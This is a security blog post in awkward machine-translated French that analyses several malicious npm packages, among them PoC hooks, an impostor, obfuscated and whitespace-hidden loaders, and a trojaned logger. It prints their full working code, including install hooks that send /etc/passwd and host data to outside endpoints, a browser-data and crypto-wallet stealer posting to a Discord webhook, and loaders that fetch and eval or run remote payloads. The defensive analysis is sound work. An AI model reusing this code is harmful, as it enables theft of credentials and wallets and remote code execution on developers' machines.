Bienvenue sur notre blog.
.png)
Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM
Le Nœud L'écosystème de l'UE repose sur la confiance - la confiance dans le fait que les paquets de données que vous utilisez ne sont pas des paquets de données. npm install
font ce qu'ils disent faire. Mais cette confiance est souvent mal placée.
Au cours de l'année écoulée, nous avons observé une tendance inquiétante : un nombre croissant de paquets malveillants publiés sur npm, souvent cachés à la vue de tous. Certains sont des preuves de concept rudimentaires réalisées par des chercheurs, d'autres sont des portes dérobées soigneusement conçues. Certains prétendent être des bibliothèques légitimes, d'autres exfiltrent des données sous votre nez en utilisant l'obscurcissement ou des astuces de formatage.
Cet article décompose plusieurs paquets malveillants réels que nous avons analysés. Chacun représente un archétype distinct de technique d'attaque que nous voyons dans la nature. Que vous soyez développeur, membre d'une équipe d'intervention ou ingénieur en sécurité, ces modèles devraient être dans votre ligne de mire.
Le PoC

La plupart des paquets que nous voyons proviennent de chercheurs en sécurité qui n'essaient pas vraiment d'être furtifs. Ils cherchent simplement à prouver quelque chose, souvent dans le cadre d'une chasse aux bogues. Cela signifie que leurs paquets sont généralement très simples, ne contenant souvent aucun code. Ils s'appuient uniquement sur un "crochet de cycle de vie" que les paquets peuvent utiliser, qu'il s'agisse de pré-installation, d'installation ou de post-installation. Ces crochets sont de simples commandes exécutées par le gestionnaire de paquets lors de l'installation.
Exemple : local_editor_top
Voici un exemple de paquet local_editor_top
qui est un paquet que nous avons détecté en raison de son crochet de préinstallation qui affiche le fichier /etc/passwd
à un point de terminaison de Burp Suite Collaborator avec le nom d'hôte en préfixe.
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
Exemple : ccf-identité
Certains chercheurs vont plus loin et appellent un fichier dans le paquet ccf-identité
pour extraire des données. Par exemple, nous avons détecté le paquet, nous avons observé un crochet de cycle de vie, et un fichier javascript avec beaucoup d'indicateurs de l'environnement d'exfiltration :
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
Comme vous pouvez le voir, il appellera le fichier index.js
avant que le processus d'installation du paquet ne commence. Vous trouverez ci-dessous le contenu du fichier.
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
Ces preuves de concept permettent de collecter un grand nombre d'informations, y compris souvent des informations sur les adaptateurs de réseau !
L'imposteur

Si vous avez été attentif, vous avez peut-être remarqué que l'exemple précédent semblait indiquer qu'il s'agissait d'un paquet Microsoft. L'avez-vous remarqué ? Ne vous inquiétez pas, il ne s'agit pas d'un paquet de Microsoft ! Il s'agit plutôt d'un exemple de notre deuxième archétype : L'imposteur.
Un bon exemple en est le paquet demandes-promesses
. Voyons ce qu'il en est package.json
fichier :
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
Vous remarquerez quelque chose d'intéressant. Au premier abord, il s'agit d'un vrai paquet, mais deux indices importants montrent que quelque chose ne va pas :
- Les références Github mentionnent
demande-promesse
c'est-à-dire au singulier. Le nom du paquet est au pluriel. - Il y a un crochet post-installation pour un fichier appelé
lib/rq.js
.
Le paquet semble par ailleurs légitime. Il contient le code attendu du paquet en lib/rp.js
(Remarquez la différence entre rp.js
et rq.js
). Examinons donc ce fichier supplémentaire, lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
Ne vous laissez pas abuser par le fait que le code comporte une fonction appelée makelove
. Il est immédiatement évident que ce code recherchera les caches des navigateurs et les portefeuilles de crypto-monnaie, qu'il enverra au point de terminaison qui est encodé en base64. Une fois décodé, il révèle un webhook Discord.
https ://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
Pas si aimant que ça, finalement.
L'obscurcisseur

Une astuce classique pour éviter la détection consiste à utiliser l'obscurcissement. La bonne nouvelle pour un défenseur est que l'obscurcissement est vraiment bruyante, se fait remarquer comme un pouce douloureux, et est triviale à surmonter dans la plupart des cas. Un exemple de cette situation est le paquet chickenisgood
. En regardant le fichier index.js
nous constatons qu'il est clairement obscurci.
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
Nous pouvons déjà constater qu'elle mentionne des choses telles que checkVirtualMachine
, checkUptime
, isHostnameValid
et d'autres noms qui éveillent les soupçons. Mais pour confirmer pleinement ce qu'il fait, nous pouvons le faire passer par des désobfuscateurs/décodeurs accessibles au public. Et soudain, nous obtenons quelque chose d'un peu plus lisible.
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
Il est clair qu'il collecte beaucoup d'informations sur le système et qu'il enverra une requête HTTP à un moment ou à un autre. Il apparaît également qu'il exécutera du code arbitraire en raison de la présence de la fonction eval() dans les rappels d'une requête HTTP, ce qui témoigne d'un comportement malveillant.
L'illusionniste

Parfois, nous voyons aussi des paquets qui essaient de se cacher de manière vraiment sournoise. Ce n'est pas qu'ils essaient de se cacher en obscurcissant la logique pour la rendre difficile à comprendre. Ils rendent simplement les choses difficiles à voir pour un humain qui n'est pas attentif.
L'un de ces exemples est le paquet htps-curl
. Voici le code vu depuis le site officiel de npm :

Cela semble innocent à première vue, n'est-ce pas ? Mais avez-vous remarqué la barre de défilement horizontale ? Elle essaie de cacher sa véritable charge utile avec des espaces blancs ! Voici le code réel si nous l'embellissons un peu.
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
Aha ! il y a une charge utile cachée. Il s'agit d'un blob encodé en base64, qui est décodé, transformé en fonction, puis appelé. Voici la charge utile décodée et embellie.
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
Ici, nous voyons que la charge utile se connecte à un serveur distant via websocket et envoie un message. La réponse est ensuite décodée en base64, enregistrée sur le disque et exécutée.
L'assistant trop serviable

Le dernier archétype est celui d'une bibliothèque utile, mais peut-être un peu trop utile pour votre propre bien. L'exemple que nous utiliserons ici est le suivant consolider-logger
paquet. Comme toujours, nous commençons par examiner le package.json
fichier.
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
Il n'y a pas de crochets de cycle de vie à trouver. C'est un peu étrange. Mais pour une bibliothèque de journalisation, il est un peu étrange de voir une dépendance sur axios
qui est utilisé pour effectuer des requêtes HTTP. De là, nous passons à l'élément index.js
et il s'agit purement d'un fichier qui importe des src/logger.js.
Voyons cela.
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
Rien ne saute aux yeux à première vue, mais qu'est-ce qui se passe avec l'importation de Rapport d'erreur
et qu'il soit instancié dans le constructeur sans être utilisé ? Voyons ce que fait la classe.
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Il y a bien d'autres choses qui se passent ici. Il y a un peu d'obscurcissement, alors voici une version simplifiée.
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
